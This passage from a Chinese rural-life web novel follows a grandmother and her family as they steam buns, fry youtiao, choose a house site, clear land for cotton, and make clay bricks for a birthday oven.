这个擀面杖还是昨晚沈大山自己削出来的，光是磨木刺就磨了大半个时辰。 现在他拿在手上，自然十分趁手。 发酵好的面团被分成一个又一个的小剂子，沈大山拿起一个，并不算太熟悉，用擀面杖笨拙却认真地擀开。 起初几下歪歪扭扭，不是太厚就是太薄，但他很有耐心，慢慢找到了感觉，擀出的面皮渐渐圆整起来。 “娘……” 二妞睡眼惺忪地醒过来。 大妞也从草席上爬起来，眼神还有些发懵，但看见林禾三人在忙，急着想下来帮忙。 “大妞、二妞，你们先去洗脸。” 王三娘拍了拍手上的面粉，示意二人去拿陶盆。 林禾已经取来陶勺，放进馅料里，从沈大山面前取过来一个擀好的皮儿。 林禾手法娴熟，舀一勺馅料放在皮中央，手指飞快地捏出均匀漂亮的褶子，收口紧实，一个小巧玲珑，肚儿滚圆的包子就做好了。 王三娘学着林禾的手法，稍慢些，但包得也很认真。 大妞和二妞被这热闹吸引，也洗了小手，嚷嚷着要帮忙。 林禾便给了她们一小块面，让她们在一旁学着捏小面团玩。 很快，二十几个白胖的包子就包好了，静静地二次醒发。 林禾看了一眼外头的天，太阳还没出来，趁这功夫，能将丝瓜地上面那一片荒地上的草除了。 林禾和王三娘带着大妞二妞，拿上柴刀和锄头，往丝瓜地的方向走。 丝瓜地往上走是一个向阳的缓坡，之前林禾没想好用来种什么，干脆就一直搁置着，也没腾出时间收拾。 但在胡市看到棉花的时候，林禾就想到了这片地。 棉花、辣椒和芝麻都是喜温喜、喜光的作物，天气渐渐热起来，这块地用来种这三种作物最合适不过。 “咱们趁着太阳还没升起来，赶紧先将这边的草和灌木除干净。” 林禾靠着缓坡的边缘，边说话，手中的柴刀已经砍下几株半身高的灌木。 “诶！”王三娘快步走到另外一边开始除草。 大妞二妞砍不断那些半人高的灌木，就蹲在地上用锄头或者用手揪地上的杂草。 日头升高时，地里的杂草才刚刚清理完一半。 “行了，剩下的下午再来，先回去吃饱再来。” 林禾用柴刀将砍倒在一旁的灌木和杂草拢在一起，堆放在空地上，等着太阳晒干水分后烧掉。 王三娘也收了柴刀。 四人回到山洞，包子醒发得恰到好处，拿在手里轻飘飘的。 大铁锅里的水沈大山已经提前烧开了。 林禾将包子一个个小心翼翼地码进铺了湿麻布的简易蒸屉里，盖上厚重的木头锅盖。 旺火猛蒸，不过一刻钟的功夫，白色的水汽就“噗噗”地往外冒。 带着面食和肉馅混合的浓郁香气，弥漫在整个山洞，勾得人肚里的馋虫咕咕叫。 包子还在锅里蒸，林禾瞧见陶盆中还剩下一些面团，心思一动。 “三娘，把咱们之前熬的鱼油拿一罐过来。” 这段时间炒菜都是鱼油和菜籽油混着用，鱼油用得快些，手边这一罐已经见底，得重新开一罐。 鱼油的颜色略深，但用来炸东西却是极好的，比菜籽油更香。 王三娘很快将那个小陶罐捧了过来。 林禾接过，打开盖子，一股混合着鱼鲜和油腥的气味便飘散出来。 她将罐子里的鱼油小心地倒入一口小铁锅里，架在另一个小灶眼上，点燃柴火慢慢加热。 趁着烧油的功夫，林禾将那块剩下的那一坨发面再次揉搓排气。 她用筷子在手上点涂了些鱼油，徒手在案板上抹了薄薄一层油，防止面团粘连在案板和手上。 随后林禾将面团稍稍擀开，切成几指宽、寸许长的小面剂子。 她取两根筷子，并排放在面剂子中间，用力往下一压。 让两根面剂子在中间紧紧粘合，两头则自然翘起，形成了一个简单的油条生坯。 这时，小锅里的鱼油也开始微微冒起青烟，油面泛起细密的波纹。 第67章 炸油条 林禾伸手在油面上方感受了一下热度，觉得差不多了。 她捏起一个油条生坯，小心地沿着锅边滑入滚热的油中。 “刺啦——！” 生坯一入热油，瞬间如同被注入了生命般，周围立刻涌起密集的金黄色泡沫，剧烈的声响在山洞里回荡。 面团以肉眼可见的速度迅速膨胀浮起，在油锅里欢快地打着转儿。 林禾用一双长长的木筷子小心地翻动着油条，让它受热均匀。 那原本白胖的面坯在滚油的洗礼下，颜色飞快地转变为诱人的金黄色。 表面鼓起一个个不规则的气泡，散发出混合着麦香和鱼油特殊焦香的浓郁气味。 先前那点鱼腥味早在高温下转化为了另一种勾人食欲的异香。 很快，一根金黄酥脆，体型膨松的油条便炸好了。 林禾用筷子夹起，沥了沥油，放在旁边准备好的陶碗里。 热腾腾、油汪汪的油条，拿在手里甚至有些烫手，散发着惊人的热量和香气。 紧接着，林禾又将剩下的几个面剂子都如法炮制地炸好。 一根根金灿灿的油条堆叠放在大陶碗里，看着就让人食指大动。 沈大山在一旁烧火，看得直咽口水，忍不住称赞。 “娘，您这手艺真是绝了！这面疙瘩还能炸出这般好东西！” 林禾笑了笑，掰下一小截刚出锅的油条递给他。 “尝尝，小心烫。” 沈大山接过来，迫不及待地吹了吹，然后咬了一口。 “咔嚓”一声轻响，外层极其酥脆，内里却还带着一丝发酵面食特有的软韧，咸香可口，油润却不腻人，那独特的香气瞬间充满了口腔。 “好吃！太香了！” 他含糊不清地赞叹道，三两口就把那一小截油条吞下了肚，眼巴巴地看着碗里剩下的。 同样和沈大山一样望着陶碗的还有二妞。 父女俩的神情如出一辙。 林禾没忍住笑出声，将碗推了过去，“端过去吃吧，记得给大妞分一根。” “好！” 二妞应得快，满脸欢喜地抱着陶碗往石桌走。 另一边，王三娘把昨晚煨在陶罐里的羊骨汤从火堆上撤了下来。 昨夜就熬上的羊骨头汤，掀开盖子之后，奶白色的汤汁还咕嘟冒泡，撒上一把翠绿的葱花，香气扑鼻。 “大妞二妞把碗筷取出来，咱们吃饭了！” 林禾一声令下，揭开锅盖。 蒸腾的热气散去，露出一个个白白胖胖，表皮光滑的大包子，微微透明，隐约能看到里面饱满的馅料。 “来啦！” 大妞二妞一个抱着碗一个拿着筷子，从蓄水池的方向走过来。 王三娘把陶罐放好后，接了一把大妞手中的陶碗，一家人围坐在石桌旁。 沈大山给每人盛上一碗热气腾腾的羊骨汤。 大妞二妞迫不及待地各拿起一个包子，小心地吹着气，然后“啊呜”一口咬下去。 “唔！好烫！好香！” 二妞被烫得直呵气，却舍不得吐出来，眼睛幸福地眯成了缝。 包子皮暄软可口，带着面食特有的甜香。 里面的羊肉馅鲜嫩多汁，毫无膻味，只有肉香和恰到好处的咸鲜，偶尔咬到的葱和香料更是点睛之笔，吃得人满口生香。 再喝一口醇厚的羊汤，咬一口酥脆的油条，简单的食物却带来了无与伦比的满足感。 沈大山吃得满头大汗，连脚疼都忘了，憨厚的脸上尽是满足。 “娘，这包子比集上卖的香多了！” 王三娘也笑着点头，细心地帮两个孩子吹凉汤汁。 林禾吃上了盼望已久的大肉包，嘴角的油都没空擦，哪里还会和他们说话。 “嗝~” 吃撑的林禾站起身消食，休息半个时辰后，她扛着锄头去水田里引水。 这几天没怎么下雨，反倒是太阳一日比一日毒辣，水田里的稻苗正是需要水的时候。 从前是隔五天来看一次，现在隔三天就得来一次。 给稻田引完水，林禾心中惦记着建木屋的事情，打算绕一圈看看地形。 林禾扛着锄头，沿着山势慢慢走着，仔细勘察着每一处可能适合建房的地形。 山洞虽能暂避风雨，但一到下雨天或者秋冬季节，潮湿阴冷的环境林禾觉得自己的腿受不住。 天气一热，山洞里不打开茅草门，闷热如同蒸笼，若是打开又要放着蚊虫蛇蚁。 若是短暂歇脚还行，但长期居住，实在不是长久之计。 最好是能找到一个干燥向阳，避风且靠近水源的地方。 林禾心中盘算着，一边走一边观察地形。 西边是茂密的茶油树和松树林，林木高大。 遮天蔽日，地面常年不见阳光，过于阴湿，且取水不便。 西边不行！ 东边长板栗树的附近倒是平坦些，但地势较低，万一夏日山雨大了，容易积水。 而且离他们开垦的田地稍远，每日往来不便。 北边背阴，山风凛冽，冬天怕是冷得受不住，阳光也少，晾晒东西和居住都不合适。 林禾的脚步最终转向了南边。 这里朝阳，日照充足。 她拨开齐腰的杂草和灌木，小心翼翼地往上攀爬，同时留意着脚下的泥土湿度和周围的植被。 爬上一处小坡，她的目光忽然被坡下一片相对平缓的台地吸引。 那里地势略高于周围，显然不易积水。 她快步走下去，用锄头拨开茂密的草丛，露出底下黄褐色的土壤。 她蹲下身，抓起一把土在手里捻了捻，土质干燥疏松，绝非山洞附近那种捏一把仿佛能渗出水汽的黏重湿土。 她心中一喜，站起身环顾四周。 这片台地背靠着一段天然形成的岩石壁垒，像是一面坚实的屏风，足以抵挡北面来的冷风。 而前方视野开阔，能望见远处他们开垦的田地和蜿蜒的小溪，取水虽需下个小坡，绕过山洞下去，但路程不远，完全可以接受。 最妙的是，台地周围生长着不少笔直的杉木和松树，正是搭建木屋的好材料，取材极为方便，能省去许多搬运的力气。 下午日头高，阳光毫无遮挡地洒在这片土地上，晒得人脊背暖融融的。 甚至能看到一些喜阳的野花在微风里轻轻摇曳。 林禾深深吸了一口气，空气中是干燥的泥土和草木被晒暖后的芬芳，完全没有那股子令人骨头缝都发酸的潮气。 就是这里了！ 林禾心情大好。 第68章 生辰将近 林禾转了一圈回来，心里还惦记着没开完荒的地。 等她到的时候，王三娘已经带着两个孩子在地里忙活了。 大半的草都被除得差不多，林禾也就没加入她们，而是扛着锄头走到另外一端开始锄地。 这片地里的碎石子多一些，林禾一边锄地还得一边挑出一些大块的碎石子，速度慢了不少。 偶尔还有几颗个头太大的石子埋在土里，一锄头挖下去还挖不动。 王三娘把砍完的杂草都堆在一起，转身看见满头大汗的林禾，“娘，您歇会儿吧，剩下的地我来锄。” “不用，咱们今天把这块地锄完，明天还能将上面的地也挖出来。” 林禾着急的点在于棉花已经晚种了大半个月，要是再晚一点，气温降下去，长出来的果实还没长熟就要被霜打坏了。 棉花喜温，要赶在六月底之前种下去。 王三娘见林禾坚持，也没多说，而是跟着一起卖力锄地。 种地就是这样的，种作物就是和上天抢时间，忙起来根本顾不上其他。 为了多种一点棉花，王三娘和林禾接连三天都忙着开荒，不仅将整个缓坡都挖平了，甚至连缓坡附近挡光的几棵大树都砍了。 沈大山腿伤了，暂时干不得这样的重活，每日在家帮忙准备简单的饭菜。 和面、蒸包子、煮饺子这些活儿，他现在已经十分娴熟。 中午蒸出来的馒头连林禾瞧了都没忍住多吃了几个。 就着干蕨菜和腌渍槐花，林禾一口气能连吃两个。 “娘，我的脚差不多好了，明日我跟着你们下地吧。” 沈大山站起身，特意在林禾面前走了一圈。 林禾嚼着嘴里的馒头，“地已经挖完了，明日过去将烧好的草木灰洒在地里就没什么事情了。” 林禾这么说不是骗他，而是这三四天紧赶慢赶终于将缓坡附近的地都开垦出来了。 “那我去撒草木灰，你跟三娘好好歇几天！” 沈大山只是在山洞里待了三天，浑身都不自在。 “也好。”林禾答应下来，又看了一眼拿着馒头啃的双胞胎，“你明日带着大妞二妞一起去，免得你在地里摔了，没人回来报信。” “不用吧……” 沈大山觉得自己没那么脆弱。 “爹，奶奶说的有道理，咱们一起去还能有个照应！” 二妞停下动作，立刻表明自己的决心。 她愿意去！ 大妞嘴里嚼蕨菜干的动作还未停下，腮帮子一鼓一鼓的，也跟着一起点头。 “你们一会儿把碗洗了，我去挖些黏土回来。” 林禾放下碗筷，嘱咐了一句就扛着锄头，提着竹筐，径直往之前那片小竹林走去。 竹林附近的黏土很多，林禾来挖了几趟，自然熟门熟路。 林禾利落地用锄头刨开表面的腐叶和浮土，露出了颜色较深，质地细腻的黏土。 她一锄头一锄头地挖下去，将黏土块挖起，扔进竹筐里。 黏土沉重，林禾又不想再多跑一趟，干脆将竹筐里的黏土压实，很快竹筐就满了。 她费力地背着着竹筐回到山洞。 王三娘刚洗完碗，看见林禾拖回一筐黏土，愣了一下，下意识道。 “娘，您又要烧窑？这回烧什么？” 以往烧窑都会提前告诉王三娘，这次没说，她还以为林禾有别的打算。 林禾却神秘地摇摇头，将她拉到一边，压低声音。 “三娘，你忘记了？再过三天是什么日子？” 王三娘怔住，茫然地看着林禾。 林禾提醒她，“大妞和二妞的生辰啊！你忙忘了？” 王三娘猛地一拍额头，脸上瞬间涌上愧疚。 “哎呀！瞧我这记性！真是……整天忙着开荒，竟把这么要紧的事给忘了！” 她带着感动看向林禾，“娘，你还记得啊……” 她以为婆母早就忘了。 毕竟之前婆母只给虎子过生辰。 林禾笑了笑，指着那筐黏土。 “所以我挖点黏土回来，不烧大件，就做些土砖，砌个小烤炉，我答应过孩子们，要在她们生辰的时候给她们做鸡蛋糕吃。” 王三娘闻言，心里顿时又暖又酸，连忙开口道：“娘，我来和泥脱坯！” “行！”林禾拿着柴刀将地里带回来的木头拉了过来。 王三娘将那筐黏土倒在山洞前的那块平整大石板上。 这大石板还是林禾从之前的坑洞里带回来的，本来是想着杀鸭子的时候用来拔毛用的。 没想到杀鸭子还没用上，先用来和泥胚了。 王三娘提来清水，缓缓倒入黏土堆中，卷起裤腿，光着脚丫，直接踩进泥浆里。 双脚陷入冰凉黏滑的泥浆中。 她用力踩踏、反复揉搓，让水和黏土充分融合。 脚底能清晰地感觉到泥土中的小颗粒和黏韧的阻力。 她弯着腰，不时用手将边缘的干土拢到中间，确保没有干疙瘩。 直到黏土变得均匀且软硬适中，抓起一把能成型，又不至于过稀流淌，王三娘才停下。 林禾把身边切好的干草段用簸箕装好递了过去。 王三娘撒进泥里，再次用脚踩踏，同时用手揉捏，让草纤维均匀分布在泥中，增加土坯的强度，防止烧制时开裂。 林禾切完干草段也没闲着，而是继续削手中的木板。 她之前在山里闲着没事的时候，跟着木匠李叔研究过榫卯结构。 虽然不算精通，做出来有些粗糙，但只是简单的模具，林禾还是没问题的。 不过一刻钟的时间，林禾就用削好的几块木板组了几个长方形的木框模具，大小正好是她预想的土砖尺寸。 “三娘，你先拿着这个模具用。”林禾还准备再组两个出来。 两个人一起效率更高。 “娘，您的手真巧，啥都会！” 王三娘接到手中的模具，一下就觉得轻松了。 有了这个模具，每一块土砖的大小都确定下来，只需要把黏土填进去就行。 王三娘捧起一大团和好的草泥，用力摔打进木模具里，直到填满每一个角落后，用手掌和木片将表面刮平抹光。 起身时，王三娘用沾满泥水的手背抹了下额角的汗，留下了一道泥印子。